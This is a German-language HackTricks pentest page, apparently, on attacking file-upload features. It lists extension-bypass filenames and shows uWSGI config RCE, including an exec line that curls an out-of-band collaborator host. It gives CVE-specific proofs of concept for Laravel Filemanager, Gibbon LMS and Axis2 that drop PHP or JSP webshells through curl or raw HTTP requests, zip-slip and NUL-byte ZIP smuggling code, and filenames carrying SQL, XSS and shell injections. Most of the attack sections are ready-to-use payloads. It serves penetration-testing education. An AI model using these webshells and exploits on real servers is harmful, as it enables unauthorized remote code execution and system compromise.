Datei-Upload
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Allgemeine Methodik für Datei-Uploads
Weitere nützliche Dateiendungen:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Bypass von Extension-Checks
- Falls vorhanden, prüfe die vorherigen Extensions. Teste sie auch mit Großbuchstaben: pHp, .pHP5, .PhAr …
- Überprüfe das Hinzufügen einer gültigen Extension vor der Ausführungs-Extension (verwende auch vorherige Extensions):
- file.png.php
- file.png.Php5
- Versuche, Sonderzeichen am Ende hinzuzufügen. Du kannst Burp nutzen, um alle ascii und Unicode Zeichen zu bruteforce. (Hinweis: Du kannst auch versuchen, die vorher erwähnten Extensions zu verwenden)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php….
- file.pHp5….
- Versuche, die Protektionen zu umgehen, indem du den extension parser serverseitig täuschst – z. B. durch Doppeln der Extension oder Hinzufügen von Junk (z. B. null-Bytes) zwischen den Extensions. Du kannst auch die vorherigen Extensions nutzen, um ein besseres Payload vorzubereiten.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Füge eine weitere Schicht von Extensions zur vorherigen Prüfung hinzu:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Versuche, die Ausführungs-Extension vor der gültigen Extension zu platzieren und hoffe auf eine Fehlkonfiguration des Servers. (nützlich bei Apache-Fehlkonfigurationen, bei denen alles mit der Extension .php, aber nicht unbedingt mit .php endend, Code ausführt):
- ex: file.php.png
- Verwendung von NTFS alternate data stream (ADS) unter Windows. In diesem Fall wird ein Doppelpunkt “:” nach einer verbotenen Extension und vor einer erlaubten eingefügt. Dadurch wird auf dem Server eine leere Datei mit der verbotenen Extension erstellt (z. B. “file.asax:.jpg”). Diese Datei kann später mit anderen Techniken bearbeitet werden, z. B. über den kurzen Dateinamen. Das Muster “::$data” kann ebenfalls verwendet werden, um nicht-leere Dateien zu erstellen. Daher kann es hilfreich sein, nach diesem Muster einen Punkt hinzuzufügen, um weitere Restriktionen zu umgehen (z. B. “file.asp::$data.”).
- Versuche, die Dateinamenlimits zu überschreiten. Die gültige Extension wird abgeschnitten und das bösartige PHP bleibt übrig. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
Einige Upload-Handler trimmen oder normalisieren abschließende Punkte aus dem gespeicherten Dateinamen. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) Versionen vor 2.9.1 kann die Extension-Validierung umgangen werden durch:
- Verwendung eines gültigen Image-MIME und Magic-Headers (z. B. PNG’s
\x89PNG\r\n\x1a\n). - Benennung der hochgeladenen Datei mit einer PHP-Extension gefolgt von einem Punkt, z. B.
shell.php.. - Der Server entfernt den abschließenden Punkt und speichert
shell.php, welches ausgeführt wird, wenn es in einem webbereiten Verzeichnis liegt (Standard-public-Storage wie/storage/files/).
Minimal PoC (Burp Repeater):
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
Dann rufe den gespeicherten Pfad auf (typisch in Laravel + LFM):
GET /storage/files/0xdf.php?cmd=id
Bypass Content-Type, Magic Number, Compression & Resizing
- Bypass Content-Type checks, indem du den Wert des Content-Type Headers auf setzt: image/png , text/plain , application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- Bypass magic number-Prüfungen, indem du am Anfang der Datei die Bytes eines echten Bildes anfügst (das file-Kommando verwirren). Oder die Shell in den Metadaten unterbringen:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg\oder du könntest das Payload auch direkt in ein Bild einfügen:echo '<?php system($_REQUEST['cmd']); ?>' >> img.png - Wenn deiner Bild Kompression hinzugefügt wird, zum Beispiel mittels Standard-PHP-Bibliotheken wie PHP-GD, sind die vorherigen Techniken unter Umständen nicht mehr nützlich. Du kannst jedoch den PLTE chunk technique defined here verwenden, um Text einzufügen, der die Kompression überlebt.
- Github with the code
- Die Webseite könnte das Bild auch skalieren, z. B. mit den PHP-GD-Funktionen
imagecopyresizedoderimagecopyresampled. Du kannst jedoch den IDAT chunk technique defined here nutzen, um Text einzufügen, der die Kompression überlebt. - Github with the code
- Eine weitere Technik, um ein Payload zu erstellen, das das Skalieren eines Bildes überlebt (z. B. bei Verwendung der PHP-GD-Funktion
thumbnailImage), ist die Nutzung des tEXt chunk technique defined here, um Text einzufügen, der die Kompression überlebt. - Github with the code
Other Tricks to check
- Finde eine Schwachstelle, um die bereits hochgeladene Datei umzubenennen (z. B. die Extension zu ändern).
- Finde eine Local File Inclusion-Schwachstelle, um das Backdoor auszuführen.
- Mögliche Informationslecks:
- Lade die gleiche Datei mehrfach (und gleichzeitig) mit dem gleichen Namen hoch.
- Lade eine Datei mit dem Namen einer bereits vorhandenen Datei oder eines Ordners hoch.
- Lade eine Datei mit “.” , “..”, oder “…” als Namen hoch. Zum Beispiel erstellt unter Apache auf Windows, wenn die Anwendung hochgeladene Dateien im Verzeichnis “/www/uploads/” speichert, der Dateiname “.” eine Datei namens uploads” im Verzeichnis “/www/”.
- Lade eine Datei hoch, die sich nicht leicht löschen lässt, wie “…:.jpg” in NTFS. (Windows)
- Lade eine Datei in Windows mit ungültigen Zeichen im Namen hoch, z. B.
|<>*?”. (Windows) - Lade eine Datei in Windows mit reservierten (verbotenen) Namen hoch, wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9.
- Versuche außerdem, eine Executable (.exe) oder eine .html (weniger verdächtig) hochzuladen, die Code ausführt, wenn ein Opfer sie versehentlich öffnet.
Special extension tricks
If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.
The .phar files are like the .jar for java, but for php, and can be used like a php file (executing it with php, or including it inside a script…)
The .inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.
Jetty RCE
Wenn du eine XML-Datei auf einen Jetty-Server hochladen kannst, kannst du RCE because **new .xml and .war are automatically processed. Wie im folgenden Bild erwähnt, lade die XML-Datei nach $JETTY_BASE/webapps/ hoch und erwarte die Shell!
.png)
uWSGI RCE
Für eine detaillierte Untersuchung dieser Schwachstelle siehe die Originalforschung: uWSGI RCE Exploitation.
Remote Command Execution (RCE)-Schwachstellen lassen sich bei uWSGI-Servern ausnutzen, wenn man die Möglichkeit hat, die .ini-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien verwenden eine spezifische Syntax, um “Magic”-Variablen, Platzhalter und Operatoren einzubinden. Besonders auffällig ist der ‘@’-Operator, verwendet als @(filename), der dazu gedacht ist, den Inhalt einer Datei einzubinden. Unter den verschiedenen in uWSGI unterstützten Schemes ist das “exec”-Scheme besonders mächtig, da es das Lesen von Daten aus der Standardausgabe eines Prozesses erlaubt. Diese Funktion kann missbraucht werden, um Remote Command Execution oder Arbitrary File Write/Read zu erreichen, wenn eine .ini-Konfigurationsdatei verarbeitet wird.
Consider the following example of a harmful uwsgi.ini file, showcasing various schemes:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
Die Ausführung des payloads erfolgt während des Parsings der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Crash oder aufgrund eines Denial of Service-Angriffs) oder die Datei muss auf auto-reload gesetzt sein. Die auto-reload-Funktion, falls aktiviert, lädt die Datei in festgelegten Intervallen neu, sobald Änderungen erkannt werden.
Es ist entscheidend, das laxere Verhalten beim Parsen von uWSGI-Konfigurationsdateien zu verstehen. Konkret kann der besprochene payload in eine binäre Datei (z. B. ein Bild oder eine PDF) eingefügt werden, wodurch der mögliche Exploitierbereich weiter erweitert wird.
Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Ein unauthentifizierter Endpoint in Gibbon LMS erlaubt ein arbitrary file write innerhalb des Webroots, was zu pre-auth RCE führt, indem eine PHP-Datei abgelegt wird. Verwundbare Versionen: bis einschließlich 25.0.01.
- Endpoint:
/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php - Methode: POST
- Erforderliche Parameter:
img: data-URI-like string:[mime];[name],[base64](Server ignoriert type/name, base64-decodes the tail)path: Zieldateiname relativ zum Gibbon install dir (z. B.poc.phpoder0xdf.php)gibbonPersonID: Jeder nicht-leere Wert wird akzeptiert (z. B.0000000001)
Minimal PoC to write and read back a file:
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
Lege eine minimale webshell ab und führe Befehle aus:
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
Hinweise:
- Der Handler führt
base64_decode($_POST["img"])aus, nachdem er anhand von;und,gesplittet hat, und schreibt dann die Bytes nach$absolutePath . '/' . $_POST['path'], ohne Extension/Typ zu validieren. - Der resultierende Code läuft als Webservice-Benutzer (z. B. XAMPP Apache on Windows).
Referenzen für diesen Bug umfassen das usd HeroLab advisory und den NVD entry. Siehe den Abschnitt References weiter unten.
wget Datei-Upload/SSRF-Trick
Bei manchen Gelegenheiten kann es vorkommen, dass ein Server wget verwendet, um Dateien herunterzuladen, und du die URL angeben kannst. In diesen Fällen prüft der Code möglicherweise, ob die Dateiendung der heruntergeladenen Dateien in einer Whitelist ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. Allerdings kann diese Prüfung umgangen werden.
Die maximale Länge eines Dateinamens in linux ist 255, jedoch kürzt wget die Dateinamen auf 236 Zeichen. Du kannst *eine Datei namens “A”232+“.php”+“.gif” herunterladen, dieser Dateiname wird die Prüfung umgehen (da in diesem Beispiel “.gif” eine gültige Extension ist), aber wget wird die Datei in *“A”232+“.php” umbenennen.
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Beachte, dass eine andere Option, an die du vielleicht denkst, um diese Prüfung zu umgehen, darin besteht, den HTTP server auf eine andere Datei umzuleiten, sodass die ursprüngliche URL die Prüfung umgeht, woraufhin wget die weitergeleitete Datei unter dem neuen Namen herunterladen würde. Das funktioniert nicht, es sei denn wget mit dem Parameter --trust-server-names verwendet wird, da wget die weitergeleitete Seite mit dem im ursprünglichen URL angegebenen Dateinamen herunterladen wird.
Upload-Verzeichnis via NTFS junctions umgehen (Windows)
(Für diesen Angriff benötigst du lokalen Zugriff auf die Windows-Maschine) Wenn Uploads auf Windows in benutzerabhängigen Unterordnern gespeichert werden (z. B. C:\Windows\Tasks\Uploads<id>) und du die Erstellung/Löschung dieses Unterordners kontrollierst, kannst du ihn durch eine directory junction ersetzen, die auf einen sensiblen Pfad zeigt (z. B. das webroot). Nachfolgende Uploads werden in den Zielpfad geschrieben, was Codeausführung ermöglicht, wenn das Ziel serverseitigen Code interpretiert.
Beispielablauf, um Uploads in das XAMPP webroot umzuleiten:
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
Hinweise
- mklink /J creates an NTFS directory junction (reparse point). Das Konto des Webservers muss dem junction folgen und Schreibrechte im Ziel haben.
- Dies leitet beliebige Datei‑Schreibzugriffe um; wenn das Ziel Skripte (PHP/ASP) ausführt, wird das zu RCE.
- Defenses: erlaube nicht, dass writable upload roots vom Angreifer kontrollierbar sind unter C:\Windows\Tasks oder ähnlichem; block junction creation; validate extensions server‑side; store uploads on a separate volume or with deny‑execute ACLs.
GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)
Some upload/ingest handlers write the raw request body to a filesystem path that is constructed from user-controlled query parameters. If the handler also supports Content-Encoding: gzip and fails to canonicalize/validate the destination path, you can combine directory traversal with a gzipped payload to write arbitrary bytes into a web-served directory and obtain RCE (e.g., drop a JSP under Tomcat’s webapps).
Generic exploitation flow:
- Prepare your server-side payload (e.g., minimal JSP webshell) and gzip-compress the bytes.
- Send a POST where a path parameter (e.g., token) contains traversal escaping the intended folder, and file indicates the filename to persist. Set Content-Type: application/octet-stream and Content-Encoding: gzip; the body is the compressed payload.
- Browse to the written file to trigger execution.
Illustrative request:
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>
<gzip-compressed-bytes-of-your-jsp>
Dann auslösen:
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target
Hinweise
- Zielpfade variieren je nach Installation (z. B., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in einigen Stacks). Jeder web-exponierte Ordner, der JSP ausführt, funktioniert.
- Die Burp Suite Hackvertor-Erweiterung kann aus deinem payload einen korrekten gzip-Body erzeugen.
- Dies ist ein reines pre-auth arbitrary file write → RCE pattern; es beruht nicht auf multipart parsing.
Gegenmaßnahmen
- Leite upload destinations server-side ab; vertraue niemals Pfadfragmente von Clients.
- Kanonisiere und setze durch, dass der aufgelöste Pfad innerhalb eines allow-listed Basisverzeichnisses bleibt.
- Speichere uploads auf einem nicht-ausführbaren Volume und verweigere Skriptausführung aus beschreibbaren Pfaden.
Axis2 SOAP uploadFile traversal zur Tomcat webroot (JSP drop)
Axis2-basierte Upload-Services geben manchmal eine uploadFile SOAP-Action frei, die drei vom Angreifer kontrollierte Felder annimmt: jobDirectory (Zielverzeichnis), archiveName (Dateiname) und dataHandler (base64 Dateiinhalte). Wenn jobDirectory nicht kanonisiert wird, bekommst du arbitrary file write via path traversal und kannst eine JSP in Tomcat’s webapps ablegen.
Minimal request outline (default creds often work: admin / trubiquity):
POST /services/WsPortalV6UpDwAxis2Impl HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:updw="http://updw.webservice.ddxPortalV6.ddxv6.procaess.com">
<soapenv:Body>
<updw:uploadFile>
<updw:login>admin</updw:login>
<updw:password>trubiquity</updw:password>
<updw:archiveName>shell.jsp</updw:archiveName>
<updw:jobDirectory>/../../../../opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/</updw:jobDirectory>
<updw:dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgc3lzdGVtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7Pz4=</updw:dataHandler>
</updw:uploadFile>
</soapenv:Body>
</soapenv:Envelope>
- Bindings sind oft nur localhost-weit erreichbar; kombiniere mit einem full-read SSRF (absolute-URL-Request-Zeile, Host-Header wird ignoriert), um
127.0.0.1zu erreichen, falls der Axis2-Port nicht exponiert ist. - Nach dem Schreiben, rufe
/trufusionPortal/jsp/shell.jsp?cmd=idim Browser auf, um auszuführen.
Tools
- Upload Bypass ist ein leistungsstarkes Tool, das Pentestern und Bug Huntern hilft, File upload-Mechanismen zu testen. Es nutzt verschiedene bug bounty Techniken, um den Prozess der Identifikation und Ausnutzung von Schwachstellen zu vereinfachen und sorgt für umfassende Bewertungen von Webanwendungen.
Korruptierung von Upload-Indizes durch snprintf-Quirks (historisch)
Einige Legacy-Upload-Handler, die snprintf() oder Ähnliches verwenden, um Multi-File-Arrays aus einem Single-File-Upload zu bauen, können dazu gebracht werden, die _FILES-Struktur zu fälschen. Aufgrund von Inkonsistenzen und Abschneidungen im Verhalten von snprintf() kann ein sorgfältig gestalteter Single-Upload auf der Serverseite als mehrere indizierte Dateien erscheinen und Logik verwirren, die eine strikte Struktur annimmt (z. B. das Behandeln als Multi-File-Upload und das Eintreten in unsichere Zweige). Obwohl heute nischig, taucht dieses „index corruption“-Muster gelegentlich in CTFs und älteren Codebasen wieder auf.
Von Datei-Upload zu anderen Schwachstellen
- Setze filename auf
../../../tmp/lol.pngund versuche, eine path traversal zu erreichen - Setze filename auf
sleep(10)-- -.jpgund du könntest eine SQL injection erreichen - Setze filename auf
<svg onload=alert(document.domain)>um eine XSS zu erreichen - Setze filename auf
; sleep 10;um einige Command Injection-Fälle zu testen (mehr command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers exploitation
- XXE in svg upload
- Open Redirect via uploading svg file
- Try different svg payloads from https://github.com/allanlw/svg-cheatsheet
- Famous ImageTrick vulnerability
- If you can indicate the web server to catch an image from a URL you could try to abuse a SSRF. If this image is going to be saved in some public site, you could also indicate a URL from https://iplogger.org/invisible/ and steal information of every visitor.
- XXE and CORS bypass with PDF-Adobe upload
- Specially crafted PDFs to XSS: The following page present how to inject PDF data to obtain JS execution. If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the [eicar](https://secure.eicar.org/eicar.com.txt) content to check if the server has any Antivirus
- Prüfe, ob es eine size limit beim Hochladen von Dateien gibt
Here’s a top 10 list of things that you can achieve by uploading (from here):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp Extension
GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy \xc2\xb7 GitHub
Magic Header Bytes
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03[" - JPG:
"\xff\xd8\xff"
Siehe https://en.wikipedia.org/wiki/List_of_file_signatures für weitere Dateitypen.
Zip/Tar File Automatically decompressed Upload
Wenn du eine ZIP hochladen kannst, die auf dem Server dekomprimiert wird, kannst du zwei Dinge tun:
Symlink
Lade ein Archiv hoch, das symbolische Links zu anderen Dateien enthält; beim Zugriff auf die dekomprimierten Dateien greifst du auf die verlinkten Dateien zu:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
In verschiedene Ordner entpacken
Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekomprimierung ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass diese Einrichtung vor OS-Level-Befehlsausführung durch bösartige Datei-Uploads schützt, können die hierarchische Kompressionsunterstützung und die Directory-Traversal-Fähigkeiten des ZIP-Formats ausgenutzt werden. Dadurch können Angreifer Beschränkungen umgehen und aus sicheren Upload-Verzeichnissen entkommen, indem sie die Dekomprimierungsfunktionalität der Zielanwendung manipulieren.
Ein automatisierter Exploit zum Erzeugen solcher Dateien ist verfügbar unter evilarc on GitHub. Das Tool kann wie folgt verwendet werden:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Zusätzlich ist der symlink trick with evilarc eine Option. Wenn das Ziel darin besteht, eine Datei wie /flag.txt anzugreifen, sollte ein symlink zu dieser Datei in Ihrem System erstellt werden. Dies stellt sicher, dass evilarc während seiner Ausführung nicht auf Fehler stößt.
Unten ist ein Beispiel für Python-Code, mit dem eine bösartige zip-Datei erstellt wird:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Ausnutzung von Kompression für file spraying
Für weitere Details siehe den Originalbeitrag unter: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Creating a PHP Shell: PHP-Code wird geschrieben, um Befehle aus der
$_REQUEST-Variable auszuführen.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying and Compressed File Creation: Mehrere Dateien werden erstellt und ein ZIP-Archiv mit diesen Dateien zusammengestellt.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Modification with a Hex Editor or vi: Die Namen der Dateien innerhalb des ZIPs werden mit vi oder einem Hex-Editor geändert, wobei “xxA” in “../” geändert wird, um Verzeichnisse zu traversieren.
:set modifiable
:%s/xxA/../g
:x!
ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)
Wenn ein Backend ZIP-Einträge mit PHP’s ZipArchive validiert, die Extraktion aber die Rohnamen auf das Dateisystem schreibt, kann man eine nicht erlaubte Extension einschmuggeln, indem man ein NUL (0x00) in die Dateinamen-Felder einfügt. ZipArchive behandelt den Eintragsnamen als C‑String und schneidet beim ersten NUL ab; das Dateisystem schreibt den vollständigen Namen und lässt alles nach dem NUL weg.
High-level flow:
- Erstelle eine legitime Container-Datei (z. B. ein gültiges PDF), die einen kleinen PHP-Stub in einem Stream einbettet, sodass magic/MIME als PDF bleibt.
- Benenne sie z. B.
shell.php..pdf, zippe sie, und hex‑editiere anschließend den ZIP local header und den central directory filename, um den ersten.nach.phpdurch0x00zu ersetzen, sodassshell.php\x00.pdfentsteht. - Validatoren, die auf ZipArchive vertrauen, „sehen“
shell.php .pdfund erlauben dies; der Extractor schreibtshell.phpauf die Festplatte, was zu RCE führt, wenn der Upload-Ordner ausführbar ist.
Minimal PoC steps:
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf
# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf
# 3) Hex-edit both the local header and central directory filename fields
# Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
# Tools: hexcurse, bless, bvi, wxHexEditor, etc.
# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)
Notes
- Ändere BEIDE Vorkommen des Dateinamens (local und central directory). Einige Tools fügen zusätzlich einen data descriptor-Eintrag hinzu – passe alle name-Felder an, falls vorhanden.
- Die payload-Datei muss weiterhin serverseitiges magic/MIME-Sniffing bestehen. Das Einbetten des PHP in einen PDF-Stream hält den Header gültig.
- Funktioniert, wenn der enum/validation path und der extraction/write path bei der String-Verarbeitung unterschiedliche Ergebnisse liefern.
Stacked/concatenated ZIPs (parser disagreement)
